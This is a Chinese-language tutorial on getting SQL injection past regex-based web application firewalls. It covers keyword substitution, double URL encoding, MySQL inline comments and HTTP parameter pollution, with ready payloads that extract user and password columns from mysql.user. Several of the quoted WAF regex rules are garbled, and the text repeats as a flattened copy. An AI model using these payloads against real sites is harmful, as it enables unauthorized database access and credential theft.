突破正则匹配:探寻SQL注入绕过WAF的本源之道
字数 1968 2025-08-18 11:39:30

SQL注入绕过WAF的本源之道:基于正则匹配的深度解析

0X01 WAF基础与分类

WAF定义

Web应用防火墙(Web Application Firewall)是对Web网站实施安全防护和负载均衡的主要工具,是大小网站标配之一。

WAF产品形态分类

  1. 硬件WAF:如绿盟硬件WAF,基于规则防护对抗SQL注入
  2. 软件WAF:如安全狗,采用正则表达式过滤SQL注入
  3. 云WAF:如腾讯云Web防火墙,基于AI+规则防护

核心结论:几乎所有WAF都基于正则表达式匹配来识别过滤SQL注入

0X02 WAF正则匹配原理

正则表达式基础

  • 使用单个字符串描述、匹配一系列符合句法规则的字符串
  • 由特殊字符(元字符)和普通字符构成
  • 示例正则:
    • 8位QQ号:^\d{8}$
    • 11位手机号:^1\d{10}$
    • 14-18位数字:^\d{14,18}$

WAF常用正则规则示例

  1. 基础过滤规则:"[\x22\x27]\s*OR|AND\s*\d+\x3d\d+"
    • 过滤类似' or 1=1' and 22=22的注入
  2. 复杂正则规则库示例:
    "(OR|AND)(\s+x22\x27](\s+?)[\x22\x27]$"
    "(OR|AND)(\s+s+?)[\x22\x27]x22\x27])?(\s+?)--(\s+?)([\x22\x27])?"
    ".+?=[\x22\x27]\*[\x22\x27]\s(AND|OR)\s.+?=[\x22\x27][\x22\x27]"
    "\x3bDROP"
    "((\x27)|(\x22))\*((\x27)|(\x22))"
    "#.+?WHERE.+?SELECT"x22\x27]","%27%20"
    "\w*((\%27)s?)((\%6F)|(\%4F))((\%72)|(\%52))"
    "\w*((\%27)s?)((\%6F)|o|(\%4F))((\%72)|r|(\%52))"
    "\w*((\%6F)|(\%4F))((\%72)|(\%52))(\s?)((\%27)2A).+?$"
    ".+?(0x3(a|A)information_schema.+?$"
    

0X03 WAF绕过手法深度解析

方式一:关键词替换绕过

原理:使用等价函数替换被过滤的关键词

常用关键词及替换方案

  • and, or||, &&
  • union → 使用||拼接结果
  • limit 1group by user_id having user_id = 1
  • 其他等价函数:
    • hex(), bin()ascii()
    • sleep()benchmark()
    • concat_ws()group_concat()
    • mid(), substr()substring()
    • @@useruser()
    • @@datadirdatadir()

注意:大多数WAF已开启大小写过滤,仅大小写变换效果有限

方式二:编码替换绕过

常用编码类型

  1. URL编码

    • 空格:%20
    • 单引号:%27
    • 括号:%28, %29
    • *%2a
    • /%2f
    • %%25
  2. Unicode编码

    • 单引号:%u0027
    • 空格:%u0020
    • 括号:%u0028, %u0029

高级技巧:二次编码绕过

  • 攻击端编码前:page.php?id=1/**/UNION/**/SELECT
  • 二次编码后:page.php?id=1%252f%252a*/UNION%252f%252a*/SELECT
  • 服务器端解析过程:
    1. 第一次解码:page.php?id=1%2f%2a*/UNION%2f%2a*/SELECT
    2. 第二次解码:page.php?id=1/**/UNION/**/SELECT

方式三:注释绕过

常用注释符号

  • 单行注释:-- , #
  • 多行注释:/*...*/

MySQL特例:内联注释/*!SQL语句*/

  • 示例变形:
    • 原语句:id=1 union select user,password from mysql.user
    • 注释绕过:id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
    • 混合编码:id=1 /*!%75nion*/ /*!%53elec%54*/ user,password /*!from*/ mysql.user

高级应用

  • 规避空格依赖:uni/**/on se/**/lect
  • 混淆关键词识别:sel/*xxx*/ect

方式四:HTTP参数污染绕过

原理:WAF可能仅检查第一个或前几个参数

示例

?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

利用方式

  1. 探测WAF检查参数的数量和顺序
  2. 在后续参数中构造注入语句
  3. 结合其他绕过手法增强效果

0X04 综合绕过策略

  1. 探测阶段

    • 尝试简单注入观察WAF反应
    • 识别被过滤的关键词和字符
  2. 绕过构建

    • 优先使用二次编码
    • 结合注释分散关键词
    • 必要时使用等价函数替换
    • 参数污染作为备选方案
  3. 高级技巧

    • 混合使用多种绕过方式
    • 针对特定WAF调整策略
    • 利用数据库特性(如MySQL内联注释)

0X05 总结与思考

  1. 核心原理

    • SQL注入绕过的本质是突破WAF的正则匹配
    • 目前主流WAF仍主要依赖正则表达式过滤
  2. 实践建议

    • 单一绕过手段效果有限,需综合应用
    • 需要根据WAF响应动态调整策略
    • 理解正则原理可提高绕过效率
  3. 未来展望

    • WAF正在向AI+规则方向发展
    • 正则匹配仍将是基础防御手段
    • 业务可用性与安全性的平衡决定WAF不可能穷举所有攻击形式

最终结论:只要WAF使用正则匹配,就存在被绕过的可能,关键在于理解WAF的正则规则并针对性构造绕过方案。

SQL注入绕过WAF的本源之道:基于正则匹配的深度解析 0X01 WAF基础与分类 WAF定义 Web应用防火墙(Web Application Firewall)是对Web网站实施安全防护和负载均衡的主要工具,是大小网站标配之一。 WAF产品形态分类 硬件WAF :如绿盟硬件WAF,基于规则防护对抗SQL注入 软件WAF :如安全狗,采用正则表达式过滤SQL注入 云WAF :如腾讯云Web防火墙,基于AI+规则防护 核心结论 :几乎所有WAF都基于正则表达式匹配来识别过滤SQL注入 0X02 WAF正则匹配原理 正则表达式基础 使用单个字符串描述、匹配一系列符合句法规则的字符串 由特殊字符(元字符)和普通字符构成 示例正则: 8位QQ号: ^\d{8}$ 11位手机号: ^1\d{10}$ 14-18位数字: ^\d{14,18}$ WAF常用正则规则示例 基础过滤规则: "[\x22\x27]\s*OR|AND\s*\d+\x3d\d+" 过滤类似 ' or 1=1 或 ' and 22=22 的注入 复杂正则规则库示例: 0X03 WAF绕过手法深度解析 方式一:关键词替换绕过 原理 :使用等价函数替换被过滤的关键词 常用关键词及替换方案 : and , or → || , && union → 使用 || 拼接结果 limit 1 → group by user_id having user_id = 1 其他等价函数: hex() , bin() → ascii() sleep() → benchmark() concat_ws() → group_concat() mid() , substr() → substring() @@user → user() @@datadir → datadir() 注意 :大多数WAF已开启大小写过滤,仅大小写变换效果有限 方式二:编码替换绕过 常用编码类型 : URL编码 空格: %20 单引号: %27 括号: %28 , %29 * : %2a / : %2f % : %25 Unicode编码 单引号: %u0027 空格: %u0020 括号: %u0028 , %u0029 高级技巧 :二次编码绕过 攻击端编码前: page.php?id=1/**/UNION/**/SELECT 二次编码后: page.php?id=1%252f%252a*/UNION%252f%252a*/SELECT 服务器端解析过程: 第一次解码: page.php?id=1%2f%2a*/UNION%2f%2a*/SELECT 第二次解码: page.php?id=1/**/UNION/**/SELECT 方式三:注释绕过 常用注释符号 : 单行注释: -- , # 多行注释: /*...*/ MySQL特例 :内联注释 /*!SQL语句*/ 示例变形: 原语句: id=1 union select user,password from mysql.user 注释绕过: id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user 混合编码: id=1 /*!%75nion*/ /*!%53elec%54*/ user,password /*!from*/ mysql.user 高级应用 : 规避空格依赖: uni/**/on se/**/lect 混淆关键词识别: sel/*xxx*/ect 方式四:HTTP参数污染绕过 原理 :WAF可能仅检查第一个或前几个参数 示例 : 利用方式 : 探测WAF检查参数的数量和顺序 在后续参数中构造注入语句 结合其他绕过手法增强效果 0X04 综合绕过策略 探测阶段 : 尝试简单注入观察WAF反应 识别被过滤的关键词和字符 绕过构建 : 优先使用二次编码 结合注释分散关键词 必要时使用等价函数替换 参数污染作为备选方案 高级技巧 : 混合使用多种绕过方式 针对特定WAF调整策略 利用数据库特性(如MySQL内联注释) 0X05 总结与思考 核心原理 : SQL注入绕过的本质是突破WAF的正则匹配 目前主流WAF仍主要依赖正则表达式过滤 实践建议 : 单一绕过手段效果有限,需综合应用 需要根据WAF响应动态调整策略 理解正则原理可提高绕过效率 未来展望 : WAF正在向AI+规则方向发展 正则匹配仍将是基础防御手段 业务可用性与安全性的平衡决定WAF不可能穷举所有攻击形式 最终结论 :只要WAF使用正则匹配,就存在被绕过的可能,关键在于理解WAF的正则规则并针对性构造绕过方案。